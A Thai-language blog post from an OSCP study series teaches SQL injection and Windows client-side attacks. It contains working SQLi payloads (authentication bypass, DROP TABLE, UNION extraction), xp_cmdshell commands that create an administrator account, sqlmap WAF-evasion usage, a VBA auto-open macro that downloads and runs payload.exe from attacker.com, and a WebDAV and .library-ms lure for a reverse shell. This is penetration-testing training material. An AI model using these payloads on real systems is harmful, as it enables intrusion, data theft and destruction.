My 2025 OSCP Journey Part 4 : SQLi & Windows Client-Side Attacks

Tuesday, February 25, 2025

Introduction

สวัสดีคุณผู้อ่านทุกท่านครับ

ยินดีต้อนรับทุกท่านกลับเข้าสู่ Blog series ของผมอีกครั้ง หลังจากที่ Part ที่แล้ว(Part 3)เราได้พูดถึงเรื่องการสแกนหาช่องโหว่ทั้งในด้านของทฤษฎีและปฏิบัติซึ่งกระทำโดย Nessus และ Nmap และยังเริ่มเกริ่นถึงเรื่องที่มีความ Dynamic มากที่สุดในการทำการทดสอบการเจาะระบบอย่าง การโจมตีบนเว็บแอปพลิเคชัน ซึ่งมีการกล่าวถึงทั้งในด้าน วิธีการ การหาและการเก็บข้อมูล และการโจมตีในรูปแบบต่างๆบนเว็บแอปพลิเคชัน

สำหรับคุณผู้อ่านท่านใดที่หลงเข้ามาใน Part นี้เป็นที่แรกและอยากจะทราบถึงเรื่องราวที่ผ่านมา ตัวผมนั้นภูมิใจและแนะนำเป็นอย่างยิ่ง ที่จะให้คุณผู้อ่านได้อ่าน Part 1 และ Part ก่อนหน้าอื่นๆก่อน เป็นการเริ่มต้น ตาที่อยู่ Link นี้เลยครับ: https://safecloud.co.th/researches/blog/My-2025-OSCP-Journey-Part-1 และ Welcome to My Journey ครับผม

ใน Part ที่ 4 นี้เราจะพูดถึงเรื่องขั้นตอนเชิงเทคนิคต่อๆไปหลังจากที่เราได้เริ่มรู้จักกับการโจมตีบนเว็บแอปพลิเคชัน ซึ่งเช่นเดิม ตัวผมนั้นยินดีเป็นอย่างยิ่งที่จะเล่าให้ฟังครับ เพื่อไม่เป็นการเสียเวลาไปมากกว่านี้ เพราะฉะนั้น Enjoy ครับ




SQL Injection Attacks

หลังจากที่เราได้รู้จักกับ Cross-Site Scripting(XSS) ซึ่งเป็นหนึ่งในรูปแบบการโจมตีที่พบได้มากที่บนเว็บแอปพลิเคชันไปแล้วจาก Part ที่แล้ว ข้อมูลเพิ่มเติม: https://safecloud.co.th/researches/blog/My-2025-OSCP-Journey-Part-3 ในบทนี้ผมจะแนะนำคุณผู้อ่านให้ได้รู้จักกับอีกหนึ่งรูปแบบการโจมตีซึ่งพบได้มากเช่นกันนั่นคือ SQL injection(SQLi)

SQL injection(SQLi) คือเทคนิคการเจาะระบบที่ผู้โจมตีจะทำการใช้คำสั่ง SQL หรือ SQL Queries ในการดึงข้อมูลจาก Database ของเว็บแอปพลิเคชัน ซึ่งการโจมตีจากช่องโหว่นี้สามารถทำให้ผู้โจมตีได้รับสิทธิ์การเข้าถึงโดยที่ไม่ได้รับอนุญาต ทำให้ข้อมูลรั่วไหล ขโมยหรือยึดรหัสผ่าน เพิ่มสิทธิ์การเข้าถึงที่มีอยู่ให้เพิ่มมากขึ้น หรือ แม้กระทั่งการมีสิทธิ์แบบเสร็จสรรพ(Full Control)ใน Database โดยที่ SQLi นั้นก็ถูกจัดอยู่ใน List ของ OWASP Top 10 (A03:2021-Injection) ข้อมูลเพิ่มเติม OWASP Top 10: https://owasp.org/www-project-top-ten/ เช่นเดียวกับ XSS อีกด้วย

SQL Theory and Database(ทฤษฎี SQL และ Database)

ก่อนที่เราจะทำการพูดถึงเรื่องการ Exploit หรือการหาประโยชน์จากช่องโหว่นี้นั้น เรามาเริ่มจากการทำความเข้าใจกันก่อนว่าฟังก์ชันของ Database และ SQL queries หรือ คำสั่ง SQL นั้นทำงานอย่างไร :

SQL Theory Refresher

SQL (Structured Query Language) นั้นใช้ในการจัดการความสัมพันธ์ระหว่างข้อมูลภายใน Database(Table, rows และ columes) ซึ่งเมื่อใช้งานจะทำให้ผู้ใช้สามารถกระทำการ ดึง อัปเดต หรือ ลบข้อมูล ภายใน Database ได้

  • คำสั่งทั่วไป:
    • SELECT FROM: ดึงข้อมูลจาก Table
    • INSERT INTO: เพิ่มข้อมูลหรือ Records
    • UPDATE: แก้ไข อัปเดตข้อมูลที่มีอยู่
    • DELETE FROM: ลบข้อมูลที่มีอยู่
    • JOIN: เชื่อมข้อมูลระหว่าง Tables
  • อาทิเช่น:
SELCET * FROM users WHERE id = 1;
  • โดยในตัวอย่างเป็นการดึงข้อมูลทั้งหมด (*) จาก Table ที่ชื่อว่า users และ Filter โดย WHERE ด้วยตัวแปร id ซึ่ง = 1 ซึ่งเราสามารถทำความเข้าใจคอนเซ็ปต์และมองเห็นภาพนี้ได้มากขึ้นเมื่อ SQL ไปอยู่ในส่วนของ Backend PHP Code ซึ่งในตัวอย่างจะเป็นการใช้ SQL ในการตรวจสอบการเข้ารหัสผ่านของผู้ใช้งาน
<?php  
$username = $_POST['username'];  
$password = $_POST['password'];  
  
// นี่เป็นตัวอย่างของ Query ที่ไม่ปลอดภัย ซึ่งคือการแนบ User Input ไปกับ SQL โดยตรง$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";  
  
$result = mysqli_query($conn, $query);  
$user = mysqli_fetch_assoc($result);  
  
if($user) { echo"Login successful";  
} else{ echo"Invalid username or password";  
}  
?>

Codeblock 1: ตัวอย่างการใช้ SQL ในการตรวจสอบการเข้ารหัสผ่าน

  • โดยผู้โจมตีอาจทำการใส่ Input เป็น admin' --ซึ่งส่งผลให้ Query ที่ทำงานอยู่หลังบ้านกลายเป็น SELECT * FROM users WHERE username = 'admin'--' AND password = '' โดยที่ -- นั้นทำให้ทุกสิ่งที่อยู่ด้านหลังสัญลักษณ์กลายเป็นคอมเมนต์และหลบเลี่ยงการยืนยันรหัสผ่านได้

Database Types and Syntax Variations

Database Management Systems(DBMSs) แต่ละประเภท ก็จะมีคุณลักษณะและ Syntax(รูปแบบของ Query)ของตัวเองที่ต่างกัน

DBMSFeatures
MySQLOpen-source, พบได้บ่อยในเว็บแอปพลิเคชัน, ไม่คำนึงถึงชื่อ Column ว่าเป็นตัวอักษรเล็กหรือใหญ่(Case-Insensitive)
PostgreSQLOpen-source, รองรับฟีเจอร์ของ Advanced SQL, คำนึงถึงชื่อ Column ว่าเป็นตัวอักษรเล็กหรือใหญ่(Case-sensitive)
MSSQLProprietary(ต้องซื้อลิขสิทธิ์), ใช้งานร่วมกับ Windows OS, รองรับ xp_cmdshell
Oracle DBEnterprise-level(การใช้งานระดับองค์กร), ใช้ภาษา PL/SQL
SQLiteมีน้ำหนักเบา(ใช้ทรัพยากรน้อย), ไม่จำเป็นต้องมีเซิร์ฟเวอร์, พบได้บ่อยในแอปพลิเคชันในโทรศัพท์

ซึ่งเมื่อมี Syntax ที่ต่างกันในบางครั้งการทำ SQL Injection จึงต้องมี Payloads ที่ต่างกัน:

  • การเรียงต่อกันของ String:
    • MySQL: CONCAT(‘Hello’, ‘World’)
    • MSSQL: ‘Hello’ + ‘World’
    • PostgreSQL: ‘Hello’ || ‘World’
  • การคอมเมนต์ String:
    • MySQL, MSSQL: -- (Double dash)
    • PostgreSQL: /* */
    • Oracle: -- or /* */



Manual SQL Exploitation(การ Exploit SQL ด้วยตนเอง)

ก่อนที่ผู้โจมตีจะสามารถทำการโจมตีแบบ SQL Injectionได้นั้น ต้องเริ่มจากการระบุช่องโหว่หรือจุดอ่อนที่มีความเป็นไปได้ที่จะสามารถทำการโจมตีให้ได้ก่อน

  • Identifying SQLi via Error-Based Payloads(ระบุช่องโหว่ SQLi ผ่าน Error) Error-based SQL Injection นั้นเป็นการใช้ Payloads ทำการ Exploit เข้าไปที่เป้าหมายเพื่อให้เป้าหมายแสดงข้อความแจ้งเตือนการทำงานที่ผิดปกติหรือ Error เพื่อหาข้อมูลเพิ่มเติมในการทำการโจมตีต่อไป ตัวอย่าง Error ที่พบเห็นได้บ่อย:
    • “You have an error in your SQL syntax”
    • “Unclosed quotation mark after the character string”
    • “Incorrect number of columns in UNION statement”

(ข้อสังเกตุเพิ่มเติม: ถ้าข้อความ Error เกี่ยวข้องกับ SQL แสดงว่าเราสามารถตอบโต้กับ Database ได้นั่นเอง) ตัวอย่าง Payloads:

- Authentication Bypass(หลีกเลี่ยงการตรวจสอบความถูกต้อง):
> ' OR 1=1-- //เพิ่มเติม:ทำให้เงื่อนไขที่ตั้งไว้ถูกพิจารณาว่าเป็น True เสมอ
- Database Information Disclosure(เปิดเผยข้อมูลภายใน Database):
> ' UNION SELECT null, version(), database()-- //เพิ่มเติม:เปิดเผยชื่อ DB และเวอร์ชัน
- Destructive SQLi(การทำลายหรือก่อความเสียหายกับ Database):
> '; DROP TABLE users;-- //เพิ่มเติม: ทำการลบ Table: users ออกจาก DB
  • UNION-Based SQL Injection UNION SQLi นั้นเป็นการใช้คำสั่ง UNION เพื่อใช้ดึงข้อมูลพิเศษที่ไม่ควรถูกดึงออกมาโชว์บน HTTP Response โดยการรวมคำสั่ง SELECT เข้าไปใน Query โดยที่ก่อนจะทำให้การโจมตีแบบ UNION-Based ได้ผลนั้น ต้องทำให้มั่นใจก่อนว่าภายใน Payloads ของผู้โจมตีเข้ากับ 2 เงื่อนไขต่อไปนี้:
    • ภายใน Payloads Query นั้นต้องมีจำนวน Columns เท่ากับ Query ต้นฉบับ
    • ประเภทของ Data ในแต่ละ Columns นั้นต้องเข้ากันได้กับ Payloads Query และเพื่อให้คุณผู้อ่านเห็นภาพมากขึ้น นี่คือตัวอย่างขั้นตอนพอสังเขปของ UNION-Based SQL Injection:

Figure 1.1 : ทำการหาและเก็บข้อมูลของเป้าหมาย

หลังจากที่เข้ามาในเว็บแอปพลิเคชันพบว่า เมื่อกดปุ่ม Catagory ที่ 1 ทางเป้าหมายใช้ Path ในการระบุค่า Query กล่าวคือเราอาจสามารถใช้พื้นที่นี้เป็นพื้นที่โจมตีได้ เพราะฉะนั้นเพื่อให้ตอบสนองต่อเงื่อนไขข้างต้นของการโจมตีแบบ UNION-Based เราจึงลองทำการใช้คำสั่ง ORDER BY เพื่อระบุจำนวน Column ก่อน

Figure 1.2 : ทำระบุจำนวน Columns ภายใน Database ของเป้าหมาย

โดยการระบุจำนวน Column ภายใน Database โดยใช้คำสั่ง ORDER BY นั้นผู้โจมตีจำเป็นต้องเพิ่มจำนวน Column ไปเรื่อยๆจนกว่าจะมีข้อความ Error แจ้งว่าไม่พบ Column ที่หาเพื่อระบุจำนวนทั้งหมด อาทิเช่น:

' ORDER BY 1-- # No error  
' ORDER BY 2-- # No error  
' ORDER BY 3-- # No error  
' ORDER BY 4-- # Error! (มีทั้งหมด 3 columns)

Figure 1.3 : ข้อความ Error แจ้งเตือนเมื่อเรียก Column ที่ 5 จากตัวอย่างจะเห็นได้ว่า มีข้อความ Error แจ้งเตือนเมื่อเรียก Column ที่ 5 ด้วยคำสั่ง ORDER BY 5-- กล่าวคือเป้าหมายมี Column ทั้งหมด 4 columns ภายใน Database หลังจากที่เราสามารถระบุจำนวนของ Column ได้แล้ว ขั้นตอนต่อไปคือการทดลองระบุประเภทของแต่ละ Column เพื่อหาพื้นที่การ Injection โดยการใช้คำสั่ง UNION อาทิเช่น :

' UNION SELECT 1, NULL, NULL, NULL--' UNION SELECT NULL,1, NULL, NULL--  
' UNION SELECT NULL, NULL, 1, NULL--  
' UNION SELECT NULL, NULL, NULL, 1--

Figure 1.4 : พบ Column ที่สามารถทำการ Injection ได้ โดยในตัวอย่างหลังจากที่เราทำการใส่ Payloads เพื่อตรวจสอบประเภทของ Data ในแต่ละ Column นั้นเราพบว่าไม่มีข้อความแจ้ง Error มา กล่าวคือทุก Column นั้นสามารถเข้ากับ Data ประเภท INT ได้ แต่ที่น่าสนใจกว่าคือใน Column ที่ 3 และ 4 นั้นเมื่อใส่ “1” เข้าไป มีการ Print ค่าดังกล่าวบนหน้าเว็บ เราจึงลองทำการดึงข้อมูล Username และ Password ออกมาจาก Database ด้วย Payloads:

UNION SELECT NULL,NULL,username,password FROM level1_users --level1_users = Tablename

Figure 1.5 : ทำโจมตีแบบ UNION-Based SQL Injection

และ Bingo! ผลที่ได้จากการโจมตีคือ Username และ Password แสดงบน HTTP Response

Blind SQL Injection

วิธีการ Blind SQL Injection นั้นจะถูกใช้เมื่อเว็บแอปพลิเคชันไม่สามารถแสดงการแจ้งเตือนข้อความ Error หรือ ไม่สามารถแสดงผลของ Query ได้ไม่ว่าจะด้วยจากเหตุผลใดก็ตาม ซึ่งผู้โจมตีจำเป็นที่จะต้องใช้วิธีการสังเกตุการตอบสนองหรือพฤติกรรมเล็กๆน้อยๆที่ต่างออกไปจากปกติ โดยสามารถพบ 2 วิธีหรือคำสั่งทีเห็นได้:

  • Boolean-Based Blind SQL Injection: วิธีการนี้จะวัดว่า Query ใช้ได้หรือไม่ผ่านการสังเกตุพฤติกรรมที่ต่างออกไปจากปกติของแอปพลิเคชัน ตัวอย่าง Payloads:
' AND 1=1-- # Query ถูกต้อง  
' AND 1=2-- # Query ไม่ถูกต้อง
  • ถ้าเมื่อลอง Inject ด้วย Query ที่ 2 แล้วพบว่ามีข้อมูลบางอย่างหายไปหรือการตอบสนองของเว็บเพจเปลี่ยนไป แสดงว่า Database นั้นมีช่องโหว่
  • Time-Based Blind SQL Injection: วิธีการนี้จะวัดว่า Query ใช้ได้หรือไม่ผ่านการสังเกตุการตอบสนองที่ช้าลงหรือ Time delay ตัวอย่าง Payloads:
' OR IF(1=1, SLEEP(5), 0)-- 
  • ถ้าเมื่อลอง Inject ด้วย Payloads แล้วพบว่าการตอบสนองใช้เวลาเพิ่มขึ้น 5 วินาที แสดงว่าเราพบจุด SQL Injection เป็นที่เรียบร้อย



Manual and Automated Code Execution(การดำเนินการ Code ทั้งแบบลงมือทำและอัตโนมัติ)

ช่องโหว่ SQL injection นั้นจะทำให้ผู้โจมตีมีสิทธิ์ในการ อ่าน เขียน หรือ แก้ไข ไฟล์ โดยสิทธิ์จะจำกัดโดยปัจจัยดังนี้ Operating System, Service Privileges และ Filesystem Permission

Manual Code Execution[MSSQL xp_cmdshell](การดำเนินการ Code แบบลงมือทำ)

ใน Microsoft SQL Server (MSSQL) นั้น ผู้โจมตีสามารถใช้ xp_cmdshell เพื่อสั่งการทำงาน(Execute)คำสั่งภายในระบบ ซึ่งอาจส่งผลกระทบต่อทั้งเซิร์ฟเวอร์ โดยตัวอย่างขั้นตอนพอสังเขปมีดังนี้:

  • ขั้นแรก เปิดการทำงานของ xp_cmdshell:
EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE;  
EXEC sp_configure'xp_cmdshell', 1;  
RECONFIGURE;
  • และเมื่อเปิดการทำงานของ xp_cmdshell แล้วนั้น ก็เริ่มทำการโจมตี(Executing System Command):
' UNION SELECT1, xp_cmdshell('whoami'), 3--
#คืนค่าชื่อผู้ใช้และดำเนินการของ Database 
' UNION SELECT1, xp_cmdshell('net user hacker P@ssw0rd /add'), 3-- 
#สร้างรหัสผ่านใหม่ภายในระบบ[User:hacker|Pass:P@ssw0rd] 
' UNION SELECT1, xp_cmdshell('net localgroup administrators hacker /add'), 3--
#ทำการเพิ่มสิทธิ์การเข้าถึงให้กับ User:hacker ถึงระดับ Administrator

ผลจากการกระทำของการ Exploitation บน xp_cmdshell:

  • ทั้งระบบโดน Compromise(ยึด) ถ้าผู้โจมตีมีสิทธิ์เข้าถึงระดับ Administrator
  • Remote access ผ่าน User ที่ถูกเพิ่มเข้ามาใหม่
  • มีความเป็นไปได้ที่จะสามารถทำ Lateral Movement ภายในเครือข่าย

Automating SQL Injection with SQLmap(การทำ SQLi ด้วย SQLmap)

SQLmap เป็นเครื่องมือในการทำ SQLi อัตโนมัติที่มีประสิทธิภาพอย่างมาก ซึ่งการใช้งานโดยพื้นฐานก็จะเริ่มจากการ SQL Injection Detection หรือตรวจจับว่า Database มีช่องโหว่ SQLi หรือไม่:

  • Basic SQL injection Detection:
kali@kali:~$ sqlmap-u "http://target.com/page.php?id=1"--dbs
#ระบุช่องโหว่ SQLi และ List ชื่อ Database ที่ใช้งานได้
  • Extracting Tables:
kali@kali:~$ sqlmap-u "http://target.com/page.php?id=1"-D target_db --tables#หาชื่อ Table ภายใน Database ที่สนใจ
  • Extracting Data:
kali@kali:~$ sqlmap-u "http://target.com/page.php?id=1"-D target_db -T users --columns  
kali@kali:~$ sqlmap-u "http://target.com/page.php?id=1"-D target_db -T users --dump
#ทำการ Extract ชื่อ Columns และ Dump ข้อมูลทั้งหมดจาก Table:users
  • Bypassing Web Application Firewall(WAFs): บางแอปพลิเคชันนั้นใช้ WAFs ในการป้องกันการทำ SQLi ซึ่ง SQLmap นั้นสามารถหลบการตรวจจับนี้ได้โดยการใช้สคริปต์ Temper:
kali@kali:~$ sqlmap-u "http://target.com/page.php?id=1"--tamper=space2comment
#ใช้สคริปต์ Temper เพื่อ แก้ไข SQL Payloads และหลีกเลี่ยงการตรวจจับ
  • Authenticated SQL Injection: ถ้าเป้าหมายที่ต้องการทำการโจมตีต้องการยืนยันตัวตน(Authentication) SQLmap นั้นสามารถทำการ Reuse session cookies ได้:
kali@kali:~$ sqlmap-u "http://target.com/profile.php"--cookie="PHPSESSID=abc123"--dbs
#ทำการ Extract ข้อมูลรายละเอียดของ Database

(NOTE: SQLmap นั้นไม่สามารถใช้งานได้ในการสอบ Pen-200 เนื่องด้วยกฎระเบียบที่ไม่อนุญาตให้ผู้เข้าสอบใช้เครื่องมือซึ่งทำงานโดยอัตโนมัติในการสอบ)




Client-Side Attacks

การโจมตีแบบ Client-side นั้นจะมุ่งเน้นไปที่การ Exploit บนช่องโหว่ในเครื่องมือ แอปพลิเคชัน หรือ เบราว์เซอร์ของผู้ใช้(User) มากกว่าที่จะเป็นการโจมตีที่เซิร์ฟเวอร์โดยตรง ซึ่งการโจมตีจากฝั่งผู้ใช้งานนั้นส่วนมากจะต้องใช้หลายๆเทคนิคร่วมด้วยในการทำการโจมตี อาทิเช่น Social Engineering, Exploiting Client Software หรือ Leveraging Misconfigurations เพื่อทำให้ Code ที่เป็นอันตรายทำงานได้

Target Reconnaissance

ซึ่งแน่นอนอย่างที่คุณผู้อ่านน่าจะทราบกันดีจากเนื้อหา Part ก่อนๆแล้วว่า ขั้นแรกของทุกการโจมตีนั้นจะเริ่มจาก การหาและเก็บข้อมูลเป้าหมายเพื่อให้ผู้โจมตีรับทราบและเข้าใจข้อมูลต่างๆของเป้าหมายมากขึ้น โดยในบทนี้ (Client-Side Attacks) นั้นข้อมูลดังกล่าวอาจจะเป็น Installed Software, Operating System และ Configuration เพื่อระบุหาพื้นที่ที่อาจทำการโจมตีได้

Information Gathering

เป้าหมายในการหาและเก็บข้อมูลในการโจมตีจากฝั่งผู้ใช้งานนั้นเพื่อ Enumerate กับ Software, Metadata และ Exposed Services โดยที่ไม่ได้ทำการโต้ตอบกับเป้าหมายโดยตรง

  • โดยที่ผู้โจมตีสามารถใช้เทคนิคแบบ Passive เพื่อหาและเก็บข้อมูลเกี่ยวกับ Software ของเป้าหมายได้โดยที่ไม่ทำให้ Security alerts ทำงาน โดยหนึ่งในเครื่องมือที่ได้รับความนิยมในการหาข้อมูล Metadata คือ Exiftool
  • Exiftool นั้นเป็นเครื่องมือที่มีประสิทธิภาพในการ Extract Metadata จากไฟล์ รูป เอกสาร หรือ PDF ซึ่ง Metadata มักจะมีข้อมูลที่มีประโยชน์อยู่ อาทิเช่น: Username, Software Used, OS version

ตัวอย่างคำสั่ง:

kali@kali:~$exiftool confidential.docx

ตัวอย่างผลการสแกน:

ExifTool Version Number     :12.23File Name            :confidential.docx  
Directory            :/home/user/Documents  
File Size            :241 KBFile Type            : DOCXCreator             : JohnDoe  
Last Modified By        :ITAdmin  
Create Date           :2024:02:17 14:25:32  
Modify Date           :2024:02:17 15:10:45  
Software            :Microsoft Word 2013  
Operating System        :Windows 10 Pro  
Company             :ACME CorpTitle              :Project Financial Report

โดยที่ผลตัวอย่างนั้นเปิดเผยว่า:

  • เอกสารนี้ถูกสร้างขึ้นโดย “JohnDoe” และถูกแก้ไขโดย “ITAdmin” ในภายหลัง
  • ระบบทำงานอยู่บน Windows 10 Pro
  • บริษัทที่ใช้เอกสารนี้คือ ACME Corp.
  • เอกสารนี้ถูกแก้ไขด้วย Microsoft Word 2013 ซึ่งสามารถทำการโจมตีผ่าน Macro-based ได้
    • หรืออาจใช้ Gobuster ซึ่งเป็นเนื้อหาใน Part ที่ 3 ทำการ Brute-force หา Directory, ไฟล์ และ Subdomain ที่อาจซ่อนอยู่ได้

ตัวอย่างคำสั่ง:

kali@kali:~$ gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

ตัวอย่างผลการสแกน:

===============================================================  
Gobuster v3.1.0  
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@FireFart)  
===============================================================  
[+] Target URL: http://target.com  
[+] Wordlist: /usr/share/wordlists/dirb/common.txt  
[+] Status: Running...  
===============================================================  
/admin         (Status: 403) [Size: 204 bytes]  
/uploads        (Status: 200) [Size: 1.1MB]   
/backup        (Status: 200) [Size: 5.4MB]   
/phpmyadmin      (Status: 403) [Size: 204 bytes]   
/config.php      (Status: 200) [Size: 3.2KB]   
===============================================================

โดยที่ผลตัวอย่างนั้นเปิดเผยว่า:

  • /admin -> Forbidden (403) แต่อาจสามารถเข้าถึงได้ผ่านเทคนิคการ Bypass
  • /uploads-> Accessible (200 OK) อาจเป็นช่องทางให้ผู้โจมตีอัปโหลดไฟล์ที่เป็นอันตรายได้
  • /backup -> Accessible (200 OK) อาจพบเจอไฟล์ที่สำคัญเก็บไว้อยู่
  • /phpmyadmin -> Forbidden (403) อาจมีประโยชน์ในการโจมตีหากพบช่องโหว่
  • /config.php -> อาจเก็บข้อมูลสำคัญเกี่ยวกับรายละเอียดการเชื่อมต่อกับ Database

Client Fingerprinting

  • Client Fingerprinting หรือรู้จักกันในชื่อ Device Fingerprinting ช่วยให้ผู้โจมตีนั้นสามารถระบุ อุปกรณ์ของเป้าหมาย, Operating System และ Installed Application เพื่อทำการสร้าง Tailored Exploit
    • เทคนิค Device Fingerprinting:
      • Browser type and version
      • Installed plugin
      • Operating system
      • Screen Resolution
    • JavaScript-based fingerprinting:
    console.log(navigator.userAgent);  
    console.log(screen.width + "x"+ screen.height);
    
    • Canarytokens:
      • Canarytokens นั้นเป็น Invisible Tracking Mechanisms ซึ่งใช้เพื่อตรวจจับการเข้าถึงไฟล์ ซึ่งผู้โจมตีอาจแนบ Canarytoken ไว้ในไฟล์ที่อาจเป็นอันตรายเพื่อทำการแจ้งเตือนถึงผู้โจมตีเมื่อไฟล์ถูกเปิดหรือเข้าถึง Figure 2: https://canarytokens.org/nest/



Exploiting Microsoft Office (การ Exploit บน Microsoft Office 2013)

ในช่วงปีที่ผ่านนั้นมีอัตราการโจมตีทางไซเบอร์ในแบบ Ransomware นั้นเพิ่มสูงขึ้นเป็นอย่างมาก และหนึ่งในรูปแบบการโจมตีที่หน้าสนใจนั้นคือการใช้ Microsoft Office Document มาเป็นเครื่องมือในการโจมตี โดยการสั่งการทำงาน Code ที่เป็นอันตรายผ่าน Macros โดยสามารถแบ่งเป็นขั้นตอนพอสังเขปได้ดังนี้:

  • Preparation of the Attack:
    • ขั้นแรก เริ่มด้วยการทำความรู้จักกับ Mark of the Web (MOTW) ซึ่งคือฟีเจอร์ความปลอดภัยที่คอยป้องกันการทำงานของ Macros ภายในไฟล์ที่ดาวน์โหลดผ่านทางอินเตอร์เน็ตกล่าวคือถ้าผู้โจมตีต้องการจะใช้ Macros เป็นเครื่องมือในการโจมตี ผู้โจมตีจำเป็นต้องทำการ Bypassing MOTW เสียก่อน
    • Bypassing MOTW:
      • โดยผู้โจมตีสามารถทำการล่อลวงให้เป้าหมายดาวน์โหลดไฟล์ที่เป็นอันตรายผ่านพื้นที่ที่ดูน่าเชื่อถือแทนการดาวน์โหลดผ่านอินเตอร์เน็ตโดยตรง อาทิเช่น: Cloud Storage, Internal Network Share
      • หรือ ผู้โจมตีทำการ strip MOTW ผ่านคำสั่ง Powershell ดังตัวอย่าง:
PS C:\>Unblock-File-Path C:\\Users\\Public\\Downloads\\malicious.docm
  • Leveraging Microsoft Word Macros(การเตรียมการ Macros การโจมตี):
    • โดยที่ Macros ใน VBA(Visual Basic for Applications) นั้นมีสิทธิ์แบบเต็มรูปแบบในการเข้าถึง:
      • ActiveX objects
      • Windows Script Host
      • Registry
      • File System

Figure 3 : Macro Code ใน Visual Basic Editor

  • ตัวอย่าง Payload สำหรับ VBA Macro:
Sub AutoOpen()  
 MyMacro  
EndSub  
  
Sub Document_Open()  
 MyMacroEndSub  
  
Sub MyMacro()  
 Dim Str As String  
 Str = "cmd /c powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command 'Invoke-WebRequest -Uri http://attacker.com/payload.exe -OutFile C:\\Users\\Public\\payload.exe; Start-Process C:\\Users\\Public\\payload.exe'" CreateObject("Wscript.Shell").Run Str  
EndSub

Codeblock 2: ตัวอย่าง Payload ของ Macro เพื่อดาวน์โหลดและสั่งให้ไฟล์ทำงาน

  • How the Macro Works(วิธีการทำงานของ Macro Code ตัวอย่าง):
    • AutoOpen&Document_Open: ฟังก์ชัน MyMacro นั้นจะทำงานเองทันทีที่ไฟล์เอกสารถูกเปิด(AutoOpen())
    • CreateObject(“Wscript.Shell”): เป็นการอนุญาตให้คำสั่งทำงานได้
    • Executes PowerShell Command: ทำการดาวน์โหลดและสั่งให้ payload.exe ทำงานจากเซิร์ฟเวอร์ของผู้โจมตี
  • File Types Used for Macro-Based Attacks(ประเภทไฟล์สำหรับการโจมตีแบบ Macro):
    • .doc
    • .docm
    • .xlsm
    • NOT .docx (ไม่สามารถ Save Macro โดยไม่แนบ Template ได้)



Abusing Windows Library Files(ทำการโจมตีผ่านไฟล์ Windows Library)

อย่างที่ได้กล่าวไปในข้างต้นว่าการโจมตีแบบ Client-side นั้นจะมีเป้าหมายไปที่ ผู้ใช้งาน แอปพลิเคชันของผู้ใช้งาน หรือ ฟีเจอร์ของ Operating System มากกว่าที่จะมุ่งเน้นไปที่การโจมตีที่เซิร์ฟเวอร์โดยตรง ซึ่งการโจมตีแบบนี้นั้นผู้โจมตีมักจะใช้วิธีการ Social Engineering เพื่อหลอกผู้ใช้งานให้ทำการสั่งให้สคริปต์ที่เป็นอันตรายทำงานผ่าน Shortcuts(.lnk)และ Windows Library Files(.library-ms)

และเพื่อให้ทำความเข้าใจได้ง่ายขึ้น ผมจะนำเสนออธิบายเป็นขั้นตอนว่าเมื่อผู้โจมตีทำการโจมตีผ่านไฟล์ Windows Library นั้น ผู้โจมตีจะมีขั้นตอนอย่างไรบ้าง

โดยที่ Objective หลักๆ ที่ผู้โจมตีจำเป็นจะต้องทำนั้นมีดังนี้:

  • ทำการ Setup เซิร์ฟเวอร์ WebDAV เพื่อเก็บไฟล์ที่เป็นอันตราย

  • หลอกล่อผู้ใช้งานหรือเหยื่อเปิดไฟล์ .Library-ms เพื่อให้เข้าถึงเซิร์ฟเวอร์ WebDAV

  • หลอกล่อให้ผู้ใช้งานหรือเหยื่อเปิดการใช้งานไฟล์ Shortcut (.lnk) หรือ .exe ที่เก็บอยู่ในเซิร์ฟเวอร์ WebDAV เพื่อให้ได้รับ Reverse shell บนอุปกรณ์ของเหยื่อ

  • ผู้โจมตี Sets Up เซิร์ฟเวอร์ WebDAV:

    • WebDAV จะอนุญาตให้ Windows สามารถเข้าถึงไฟล์ใน Local แบบรีโมทบนเซิร์ฟเวอร์ที่ผู้ Host นั้น Host เอาไว้ โดยที่ในกรณีนี้คือ ผู้โจมตีซึ่งทำการ Host ไฟล์ Shortcut (.lnk) ไว้ในอุปกรณ์ Local ซึ่งนำขึ้นไปบนเซิร์ฟเวอร์ WebDAV Share
    • Setting Up เซิร์ฟเวอร์ WebDAV บนเครื่องของผู้โจมตี:
kali@kali:~$ pip install wsgidavkali@kali:~$ wsgidav --host 0.0.0.0 --port 80 --root /var/www/html
#ทำการสร้างเซิร์ฟเวอร์ Public WebDAV ซึ่งสามารถเข้าถึงได้โดยผู้ใช้งาน โดยใช้ Folder> /var/www/html เป็นที่เก็บไฟล์ที่ Host
  • ทำการวางไฟล์ที่เป็นอันตรายไว้ใน Directory ของ WebDAV:
kali@kali:~$ cp reverse_shell.lnk /var/www/html/
#reverse_shell.lnk เป็นไฟล์อันตรายที่จะทำการ Execute คำสั่ง Powershell
  • ผู้โจมตีสร้างไฟล์ . Library-ms:
    • ไฟล์ .Library-ms เป็นไฟล์ XML-based library ที่ไว้ทำการเชื่อมต่อหาเซิร์ฟเวอร์ WebDAV Shares
    • ตัวอย่างไฟล์ .Library-ms:
<?xml version="1.0"encoding="UTF-8"?>  
<libraryDescriptionxmlns="http://schemas.microsoft.com/windows/2009/library"> <name>@windows.storage.dll,-34582</name> <version>6</version> <isLibraryPinned>true</isLibraryPinned> <iconReference>imageres.dll,-1003</iconReference> <templateInfo>   <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType> </templateInfo> <searchConnectorDescriptionList>   <searchConnectorDescription>     <isDefaultSaveLocation>true</isDefaultSaveLocation>     <isSupported>false</isSupported>     <simpleLocation>       <url>http://192.168.0.1</url> <!-- WebDAV Server -->     </simpleLocation>   </searchConnectorDescription> </searchConnectorDescriptionList>  
</libraryDescription>

Codeblock 3: ตัวอย่างไฟล์ .Library-ms คำอธิบาย Codeblock 3:

  • ไฟล์ .Library-ms นั้นจะชี้ไปหาเซิร์ฟเวอร์ WebDAV ของผู้โจมตีซึ่งในกรณีนี้คือ 192.168.0.1
  • เมื่อผู้ใช้งานหรือเหยื่อทำการเปิดไฟล์ .Library-ms นั้น Windows จะทำการเชื่อมต่อไปหา WebDAV และโชว์ไฟล์ที่ถูกเก็บไว้ใน Folder ที่ทำการ Host ไว้ (/var/www/html)
